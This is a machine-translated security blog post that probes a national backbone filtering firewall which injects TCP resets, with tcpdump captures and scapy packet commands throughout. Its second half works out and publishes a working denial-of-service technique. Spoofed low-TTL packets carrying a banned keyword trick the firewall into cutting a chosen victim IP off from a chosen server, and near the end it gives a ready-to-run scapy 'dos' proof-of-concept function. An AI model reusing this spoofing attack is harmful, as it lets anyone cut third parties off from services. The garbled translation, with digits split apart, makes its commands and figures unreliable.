cksum 0x2737 (correct), 2 9 7 0 5 7 3 1 9 9:2 9 7 0 5 7 3 1 9 9(0) ack 1 9 5 1 7 5 8 1 2 9 win 4 5 7 2 1:4 7:54.769853 IP (tos 0x0, ttl 5 3, id 6 4, offset 0, flags [none], proto TCP (6), length 4 0) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0xcb9f (correct), 2 9 7 0 5 7 3 1 9 9:2 9 7 0 5 7 3 1 9 9(0) win 1 8 6 7 9 2 1:4 7:54.773332 IP (tos 0x0, ttl 5 0, id 5 1 7 3 4, offset 0, flags [none], proto TCP (6), length 4 0) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0x1497 (correct), 2 9 7 0 5 7 3 1 9 9:2 9 7 0 5 7 3 1 9 9(0) win 0 2 1:4 7:54.774292 IP (tos 0x0, ttl 4 8, id 2 6 4 9 2, offset 0, flags [DF], proto TCP (6), length 4 0) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0x2735 (correct), 2 9 7 0 5 7 3 1 9 9:2 9 7 0 5 7 3 1 9 9(0) ack 1 9 5 1 7 5 8 1 2 9 win 4 5 9 2 1:4 7:54.775939 IP (tos 0x0, ttl 5 3, id 6 4, offset 0, flags [none], proto TCP (6), length 4 0) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0xbf63 (correct), 2 9 7 0 5 7 3 1 9 9:2 9 7 0 5 7 3 1 9 9(0) win 2 1 8 1 1 2 1:4 7:54.778871 IP (tos 0x0, ttl 5 0, id 5 1 7 3 5, offset 0, flags [none], proto TCP (6), length 4 0) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0x1497 (correct), 2 9 7 0 5 7 3 1 9 9:2 9 7 0 5 7 3 1 9 9(0) win 0

An intermediate server to grab the real Google server before to us in response to our request, and Google's response, but because of serial number errors cause the server to send us a reset packet, and in the process, ttl=43,46,53,48, ID simulate normal server to our connected back to the N rst packets, the link is dead, and seen how hated I this link. Maybe I caught isn't the most full, however the basic principles should be similar, and this sends the ID, the ttl is forged in this way is difficult to navigate to a specific location of the device and directly filtered off, the back will say to the another positioning method: this dynamic ACL in two minutes the last will be cleared, the user to restore the site access.

0×0 2 Hack it, the firewall class ids of some security research

We are in the Black Box way to understand such ids basic principles, you can think of such ids of some of the security issues, it says here that security is not the above-mentioned bypass, but the other in our day-to-day work issues you may encounter, here the device performance test, the false alarm rate, etc. also do not do research, these are not we can go to consider the problem, here is mainly from an idea, since this magical device has been used as a basic security facilities, it is the dynamic blocking mechanisms will not can be utilized to some outside website to the shield to achieve the domestic users of the Dos, according to some media said the United States also has similar facilities, but the United States will only be recording and will not do similar to the IPS of the operation of the initiative to cut off the threat of both sides, where the test is no longer passive packet capture, we use a powerful network packet debugging tool, scapy, for me this is only a script basis for people to say relatively easy to use, the basic usage is as follows:

Welcome to Scapy (v1. 1. 1 / f88d99910220) >>> ls(IP) version : BitField = (4) ihl : BitField = (None) tos : XByteField = (0) len : ShortField = (None) id : ShortField = (1) flags : FlagsField = (0) frag : BitField = (0) ttl : ByteField = (6 4) proto : ByteEnumField = (0) chksum : XShortField = (None) src : Emph = (None) dst : Emph = ('127.0.0.1') options : IPoptionsField = (") >>> ls(TCP) sport : ShortEnumField = (2 0) dport : ShortEnumField = (8 0)seq : IntField = (0) ack : IntField = (0) dataofs : BitField = (None) reserved : BitField = (0) flags : FlagsField = (2) window : ShortField = (8 1 9 2) chksum : XShortField = (None) urgptr : ShortField = (0) options : TCPOptionsField = ({}) >>>

We can be very simple drop modify these options to construct a suitable for their own package and send out, such as:

>>>send(IP(dst="64.233.189.103")/TCP(dport=8 0,sport=5 7 4 7 4,flags="P",seq=9 4 5 1 4 9 8 2 9)/The"We are 80sec,play with packets")

To the Google server to send a source port is a 5 7 4 7 4 serial number is a 9 4 5 1 4 9 8 2 9 push package, the package content is what We are 80sec in. Here the test of the basic idea is that we for one want to attack the ip as 1 2 1. 1 2 1. 1 2 1. 1 2 1, want to make he can not access google server 6 4. 2 3 3. 1 8 9. 1 0 3, You can think of a way to falsify one of its ip through this magical device and trigger rules. Thanks to domestic carriers the packet's source validity will not do any restrictions, you can just fake another IP data packet sent to the designated place, also thanks to this still thrivingddosthe industry, so we just have to think of a way to trigger this magical device rules. First the most simple:

>>> send(IP(dst="64.233.189.103",src="121.121.121.121")/TCP(dport=8 0,sport=5 7 4 7 4,flags="P",seq=9 4 5 1 4 9 8 2 9)/"/? q=freenet/freenet")

This is a completely bullshit packets, all of them are forged, if this data packet will trigger the rule, then 1 2 1. 1 2 1. 1 2 1. 1 2 1 You can not access 6 4. 2 3 3. 1 8 9. 1 0 3 This is Google's ip, the result is obvious, without any impact. We continue to test, send:

>>> send(IP(dst="64.233.189.103")/TCP(dport=8 0,sport=5 7 4 7 4,flags="P",seq=9 4 5 1 4 9 8 2 9)/"/? q=freenet/freenet")

While in the present machine capture to get the server response, once successful we can put the source IP into a want to attack the IP, and sent out only to catch yourself out of the pack, not any of the service side of the response, naturally does not include this magical device, the capture is as follows:

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 9 6 bytes 0 0:4 1:29.014316 IP (tos 0x0, ttl 6 4, id 1, offset 0, flags [none], prot TCP (6), length: 5 9) 114.249.114.249.57474 > 64.233.189.103.80: P, cksum 0x9fb7 (correct), 9 4 5 1 4 9 8 2 9:9 4 5 1 4 9 8 4 8(1 9) win 8 1 9 2

This package is not just this magical device is ignored, and the Google server is also ignored, here I have a test environment, because I'm in a NAT environment, in order to be directly falsified all the ip packets, I'm using a friends server to do the test, benefits is counterfeit ip is not NAT Firewall discarded does not give me the conversion I port the serial number and the like. I tested the Syn, Ack and other packets, are found in the data packet successfully arrives at the Google server, but no violation of this magical device rules. It seems that this magical device or some preventive strategy, did not imagine that the direct detection of the push package, at least to the illegal, invalid TCP link is identified. Admire the firewall great, such a large flow also can do such a degree, the company's internal firewall then point traffic also squeak! squeak! sounded yet, guess there is no use, the memories mentioned earlier, to control a TCP link requires several elements, we need to quintuple, the test see, we first create a normal Google link, and grab the five-tuple to test:

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 9 6 bytes d00:4 9:38.694884 IP (tos 0x0, ttl 6 4, id 5 5 4 6 9, offset 0, flags [DF], prot TCP (6), length: 6 0) 114.249.114.249.60931 > 64.233.189.103.80: S, cksum 0x188c (correct), 3 6 6 4 5 4 8 0 9 3:3 6 6 4 5 4 8 0 9 3(0) win 5 8 4 0 <mss 1 4 6 0,sackOK,timestamp 1 9 5 1 9 4 2 7 3 6 0,nop,wscale 7> 0 0:4 9:38.745534 IP (tos 0x0, ttl 5 1, id 5 7 2 1 2, offset 0, flags [none], prot TCP (6), length: 6 0) 64.233.189.103.80 > 114.249.114.249.60931: S, cksum 0x40d4 (correct), 2 5 5 0 4 4 8 6 7 0:2 5 5 0 4 4 8 6 7 0(0) ack 3 6 6 4 5 4 8 0 9 4 win 5 6 7 2 <mss 1 4 3 0,sackOK,timestamp 1 0 8 4 1 7 7 8 3 5 1 9 5 1 9 4 2 7 3 6,nop,wscale 6> 0 0:4 9:38.745546 IP (tos 0x0, ttl 6 4, id 5 5 4 7 0, offset 0, flags [DF], prot TCP (6), length: 5 2) 114.249.114.249.60931 > 64.233.189.103.80: ., cksum 0x8548 (correct), 3 6 6 4 5 4 8 0 9 4:3 6 6 4 5 4 8 0 9 4(0) ack 2 5 5 0 4 4 8 6 7 1 win 4 6 <nop,nop,timestamp 1 9 5 1 9 4 2 7 8 7 1 0 8 4 1 7 7 8 3 5>

Oh, and then we construct a realistic five-tuple are the correct links, only the serial number is wrong:

>>> send(IP(dst="64.233.189.103")/TCP(dport=8 0,sport=6 0 9 3 1,flags="P",seq=1 2 3 4 5 6)/"/? q=freenet/freenet")

The server returns

0 0:5 2:12.606688 IP (tos 0x0, ttl 6 4, id 1, offset 0, flags [none], prot TCP (6), length: 5 9) 114.249.114.249.60931 > 64.233.189.103.80: P, cksum 0xbfcf (correct), 1 2 3 4 5 6:1 2 3 4 7 5(1 9) win 8 1 9 2 0 0:5 2:12.657154 IP (tos 0x0, ttl 5 1, id 5 7 2 1 2, offset 0, flags [none], prot TCP (6), length: 5 2) 64.233.189.103.80 > 114.249.114.249.60931: ., cksum 0x2be4 (correct), 2 5 5 0 4 4 8 6 7 1:2 5 5 0 4 4 8 6 7 1(0) ack 3 6 6 4 5 4 8 0 9 4 win 8 9 <nop,nop,timestamp 1 0 8 4 3 3 1 7 4 6 1 9 5 1 9 4 2 7 8 7>

Data packets successfully through this magical device, Google gave us to correct the sequence number of the ack packet. This time I was very surprised, for a link of the authenticity verification can not only reach the five-tuple extent, can even reach the serial number of the level, and it is the place to be in the country on the trunk, which is almost unthinkable. This time to think about this magical device implementation, the possible is to maintain a link state table, and this table of all state real-time tracking, but so that he too hanging, and this time began to think of using some of the malformations of the package to test the firewall mechanism. From the front know that we to a Google server the TTL is 1 4 jump, that is, if we send the initial TTL is less than 1 4, in accordance with the TTL of the basic principles, the request is not reaching Google's servers, if we control TTL=1 2, then can even the package through this magical device, however, does not reach the server, this time we know that if we are placed on both sides of their machine, on the other side can be forged into Google's servers, in their own side forged into the target IP, the control TTL to let both ends of the machine each communication rule is triggered, until it is this magical device included in the gray list, but the real is forged IP but does not know what happened. This idea certainly can be successful, but before we can try the other, after all I did not have a foreign machine, there are not possible in the one end of the sent data package you can achieve the level of IP included in the gray list? I'm in to try this magical device tracking link.Designed to find the answer. Front we know, this magical device of a request the track to be able to achieve the serial number level, this is not an incredible thing, because the calculation amount and the data amount is too large, that time I suspect that this magical device will not data package to do the verification, that would increase the amount of calculation, for the backbone-grade equipment is not acceptable, in case of judgment after the real server has returned're in trouble. At the same time, since this magic device architecture design, we can control the data packet to the exit, but actually the data packet returned when the Walk is probably a completely different route, it is not possible to request the track to do two-way tracking, where the tracking is completely possible is a virtual behavior, to initiate the request at one end of the check. Here the test is also very simple, but also to prove my conclusion: the

>>> send(IP(dst="64.233.189.103",ttl=1 0)/TCP(dport=8 0,sport=2 2 2 2,flags="S",seq=1 2 3 4 5 6 7)) >>> send(IP(dst="64.233.189.103",ttl=1 0)/TCP(dport=8 0,sport=2 2 2 2,flags="A",seq=1 2 3 4 5 6 8)) >>> send(IP(dst="64.233.189.103",ttl=1 0)/TCP(dport=8 0,sport=2 2 2 2,flags="P",seq=1 2 3 4 5 6 8)/"GET /search? hl=en&source=hp&q=freenet/freenet&oq=&aqi=1 HTTP/1.1 \r\nHOST: www.google.com\r\n\r\n\r\n")

Note that I in forgery of ttl when using ttl=1 0, this time can avoid data packet is transmitted to the real Google server, the server returns ack when being forged, the IP will send rst to reset the link and the lead to initiate the data fails, the firewall will see this, rst packets and think the back of the push package is outdated. By issuing the above three forged packets, we can let 64.233.189.103 to my IP is not accessible, you can see the include source port, destination port, Serial number is my own definition, in the firewall it seems that's where I'm at with 64.233.189.103 initiate illegal link, after all it can only fully trust me, which no other can be trusted:) to get 1 2 1. 1 2 1. 1 2 1. 1 2 1 can not access Google 8 0 port just need to send the following three packets:

>>> send(IP(dst="64.233.189.103",src="121.121.121.121",ttl=1 0)/TCP(dport=8 0,sport=2 2 2 2,flags="S",seq=1 2 3 4 5 6 7)) >>> send(IP(dst="64.233.189.103",src="121.121.121.121",ttl=1 0)/TCP(dport=8 0,sport=2 2 2 2,flags="A",seq=1 2 3 4 5 6 8)) >>> send(IP(dst="64.233.189.103",src="121.121.121.121",ttl=1 0)/TCP(dport=8 0,sport=2 2 2 2,flags="P",seq=1 2 3 4 5 6 8)/"GET /q=freenet/freenet&oq=&aqi=1 HTTP/1.1")

You can even use this for other applications such as gtalk for dos, as long as we know that a company's exit ip, and then listed gtalk using the ip and port it can be done, very simple, now a lot of sites abroad move, then you have not have to consider this article mentioned the risk? Some companies will even Mail server in a foreign...... But you can also see that we have achieved the follow-up link is disconnected, because the tcp link serial number is unknown, the use of the above mentioned seems to also can not let the already establish a complete tcp connection reset, but the actual on, this love of the filtration system has helped us think about, at the same time with nc with Google to create two links, one link to trigger the rule, and then in another innocent links as long as the firewall is found, it will immediately be reset, see the following capture: the

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 9 6 bytes 2 0:2 6:52.574643 IP (tos 0x0, ttl 6 4, id 5 5 7 8 6, offset 0, flags [DF], prot TCP (6), length: 6 0) 114.249.114.249.60949 > 64.233.189.147.80: S, cksum 0x339b (correct), 1 9 6 2 6 8 4 5 6 7:1 9 6 2 6 8 4 5 6 7(0) win 5 8 4 0 <mss 1 4 6 0,sackOK,timestamp 2 1 0 9 0 0 8 2 5 3 0,nop,wscale 7> 2 0:2 6:52.617778 IP (tos 0x0, ttl 5 1, id 1 5 5 7 4, offset 0, flags [none], prot TCP (6), length: 6 0) 64.233.189.147.80 > 114.249.114.249.60949: S, cksum 0x8801 (correct), 4 2 4 7 6 4 0 4 6 2:4 2 4 7 6 4 0 4 6 2(0) ack 1 9 6 2 6 8 4 5 6 8 win 5 6 7 2 <mss 1 4 3 0,sackOK,timestamp 1 2 4 6 0 7 1 6 2 9 2 1 0 9 0 0 8 2 5 3,nop,wscale 6> 2 0:2 6:52.617791 IP (tos 0x0, ttl 6 4, id 5 5 7 8 7, offset 0, flags [DF], prot TCP (6), length: 5 2) 114.249.114.249.60949 > 64.233.189.147.80: ., cksum 0xcc7d (correct), 1 9 6 2 6 8 4 5 6 8:1 9 6 2 6 8 4 5 6 8(0) ack 4 2 4 7 6 4 0 4 6 3 win 4 6 <nop,nop,timestamp 2 1 0 9 0 0 8 2 9 6 1 2 4 6 0 7 1 6 2 9>

2 0:2 7:00.456284 IP (tos 0x0, ttl 6 4, id 6 0 6 7 8, offset 0, flags [DF], prot TCP (6), length: 6 0) 114.249.114.249.60979 > 64.233.189.147.80: S, cksum 0x5ebc (correct), 1 9 8 3 5 7 1 2 7 8:1 9 8 3 5 7 1 2 7 8(0) win 5 8 4 0 <mss 1 4 6 0,sackOK,timestamp 2 1 0 9 0 1 6 1 3 6 0,nop,wscale 7> 2 0:2 7:00.499066 IP (tos 0x0, ttl 5 1, id 4 0 3 6, offset 0, flags [none], prot TCP (6), length: 6 0) 64.233.189.147.80 > 114.249.114.249.60979: S, cksum 0xc1d9 (correct), 8 1 6 4 5 4 4 7 1:8 1 6 4 5 4 4 7 1(0) ack 1 9 8 3 5 7 1 2 7 9 win 5 6 7 2 <mss 1 4 3 0,sackOK,timestamp 1 2 5 9 5 3 8 0 6 8 2 1 0 9 0 1 6 1 3 6,nop,wscale 6> 2 0:2 7:00.499074 IP (tos 0x0, ttl 6 4, id 6 0 6 7 9, offset 0, flags [DF], prot TCP (6), length: 5 2) 114.249.114.249.60979 > 64.233.189.147.80: ., cksum 0x0656 (correct), 1 9 8 3 5 7 1 2 7 9:1 9 8 3 5 7 1 2 7 9(0) ack 8 1 6 4 5 4 4 7 2 win 4 6 <nop,nop,timestamp 2 1 0 9 0 1 6 1 7 9 1 2 5 9 5 3 8 0 6 8>

2 0:2 7:18.827802 IP (tos 0x0, ttl 6 4, id 6 0 6 8 0, offset 0, flags [DF], prot TCP (6), length: 7 7) 114.249.114.249.60979 > 64.233.189.147.80: P, cksum 0x02a9 (incorrect (-> 0xd051), 1 9 8 3 5 7 1 2 7 9:1 9 8 3 5 7 1 3 0 4(2 5) ack 8 1 6 4 5 4 4 7 2 win 4 6 <nop,nop,timestamp 2 1 0 9 0 3 4 5 1 1 1 2 5 9 5 3 8 0 6 8> 2 0:2 7:18.870912 IP (tos 0x0, ttl 5 1, id 4 0 3 6, offset 0, flags [none], prot TCP (6), length: 5 2) 64.233.189.147.80 > 114.249.114.249.60979: ., cksum 0x76b1 (correct), 8 1 6 4 5 4 4 7 2:8 1 6 4 5 4 4 7 2(0) ack 1 9 8 3 5 7 1 3 0 4 win 8 9 <nop,nop,timestamp 1 2 5 9 5 5 6 4 4 0 2 1 0 9 0 3 4 5 1 1> 2 0:2 7:19.289520 IP (tos 0x0, ttl 6 4, id 6 0 6 8 1, offset 0, flags [DF], prot TCP (6), length: 5 3) 114.249.114.249.60979 > 64.233.189.147.80: P, cksum 0x0291 (incorrect (-> 0x6b05), 1 9 8 3 5 7 1 3 0 4:1 9 8 3 5 7 1 3 0 5(1) ack 8 1 6 4 5 4 47 to 2 win 4 6 <nop,nop,timestamp 2 1 0 9 0 3 4 9 7 3 1 2 5 9 5 5 6 4 4 0> 2 0:2 7:19.334402 IP (tos 0x0, ttl 5 1, id 4 0 3 7, offset 0, flags [none], prot TCP (6), length: 5 2) 64.233.189.147.80 > 114.249.114.249.60979: ., cksum 0x7315 (correct), 8 1 6 4 5 4 4 7 2:8 1 6 4 5 4 4 7 2(0) ack 1 9 8 3 5 7 1 3 0 5 win 8 9 <nop,nop,timestamp 1 2 5 9 5 5 6 9 0 1 2 1 0 9 0 3 4 9 7 3> 2 0:2 7:19.338648 IP (tos 0x0, ttl 5 2, id 6 4, offset 0, flags [none], prot TCP (6), length: 4 0) 64.233.189.147.80 > 114.249.114.249.60979: R, cksum 0x0142 (correct), 8 1 6 4 5 4 4 7 2:8 1 6 4 5 4 4 7 2(0) win 2 9 1 1 9

2 0:2 7:37.856781 IP (tos 0x0, ttl 6 4, id 5 5 7 8 8, offset 0, flags [DF], prot TCP (6), length: 6 7) 114.249.114.249.60949 > 64.233.189.147.80: P, cksum 0x029f (incorrect (-> 0x4d19), 1 9 6 2 6 8 4 5 6 8:1 9 6 2 6 8 4 5 8 3(1 5) ack 4 2 4 7 6 4 0 4 6 3 win 4 6 <nop,nop,timestamp 2 1 0 9 0 5 3 5 4 4 1 2 4 6 0 7 1 6 2 9> 2 0:2 7:37.900887 IP (tos 0x0, ttl 5 1, id 1 5 5 7 4, offset 0, flags [none], prot TCP (6), length: 5 2) 64.233.189.147.80 > 114.249.114.249.60949: ., cksum 0x6aa0 (correct), 4 2 4 7 6 4 0 4 6 3:4 2 4 7 6 4 0 4 6 3(0) ack 1 9 6 2 6 8 4 5 8 3 win 8 9 <nop,nop,timestamp 1 2 4 6 1 1 6 9 1 1 2 1 0 9 0 5 3 5 4 4> 2 0:2 7:37.911380 IP (tos 0x0, ttl 5 2, id 6 4, offset 0, flags [none], prot TCP (6), length: 4 0) 64.233.189.147.80 > 114.249.114.249.60949: R, cksum 0xd646 (correct), 4 2 4 7 6 4 0 4 6 3:4 2 4 7 6 4 0 4 6 3(0) win 4 6 2 1

This time capture the time since I changed the server note that the ttl has to do with before not the same, but the id=6 4 exposed the tail, the front three packet is the first tcp link, the port is 6 0 9 4 9, behind a link of the port is 6 0 9 7 9, The following is 6 0 9 7 9 triggered rule is reset off, and then would have been the normal of the second link once sent a data packet is immediately reset, fully proved this linkage quickly and in a timely manner:) Then we'll have a full post nonsense after a simple conclusion, dos internal and external links is possible, whether the established or not established, in the scapy where the poc function is as follows:

def dos(srcip, dstip , tport ): send(IP(dst=dstip,src=srcip,ttl=1 0)/TCP(dport=tport,sport=3 2 2 3,flags="S",seq=3 3 3 4 5 6 7)) send(IP(dst=dstip,src=srcip,ttl=1 0)/TCP(dport=tport,sport=3 2 2 3,flags="A",seq=3 3 3 4 5 6 8)) send(IP(dst=dstip,src=srcip,ttl=1 0)/TCP(dport=tport,sport=3 2 2 3,flags="P",seq=3 3 3 4 5 6 8)/"GET /? q=freenet/freenet HTTP/1.1\r\n\r\n") dos("114.249.114.249","64.233.189.103",8 0);

Finally let me say to the previous question, How in the data packet is completely falsified when the determine the device's physical location, obviously, or the use of the TTL:

>>> send(IP(dst="64.233.189.103",src="121.121.121.121",ttl=8)/TCP(dport=8 0,sport=2 2 2 2,flags="P",seq=1 2 3 4 5 6 8)/"GET /q=freenet/freenet&oq=&aqi=1 HTTP/1.1")

In ttl=8, we still receive the system reset packet, so that you can determine whether the data packet is the bypass position.

0×0 3 something

From a technical point of view, avoiding this way the attack will be more difficult, the firewall as a security device is not for normal use impacts, so detection of a way to say that is still relatively passive, such as not real-time of a discarded data packet, in front of me is very strange why the firewall does not directly discard the initiating link of the syn packet or initiate the illegal link of the psh packet, this is because the firewall the whole structure and design, the entire data packet has reached the server, he can not be discarded. Also, due to architecture reasons, we cannot make the same tcp data stream always through the same Router the same device, so we cannot for one packet of effectiveness to do the validation, and even if you can verify the entire request effectiveness can also be seen in the firewall on both sides together to fool the firewall is how easy thing, with the previous rally through the firewall, the use of ttl differences we can bypass off of a data package to do the real validation here, including other vendors such as Cisco and other equipment are likely to have this problem. I don't know for a device to discard a ttl too small, whether the packet is wise, the firewall is bypassed on the device, but not on the ttl a relatively small package to do real-time discarded once found found that have a ttl too small a package certainly can not directly let go, because maybe others will use this to bypass the firewall, then must the ttl too small a package to do the processing, the processing including the response to the rst link requires a reset, which will indeed alleviate the problem, but don't know this complicated logic will not bring new question, the logic may itself is the vulnerability. In TTL, and believe that other deformities of the data packet may cause the device to processing on the mistakes, as long as the server and device for data packet processing inconsistencies can be achieved, and this inconsistency because of various reasons is very much. This article is just for learning knowledge of the network to do a practice, thanks for always helping me to learn the students, you know who you are: a)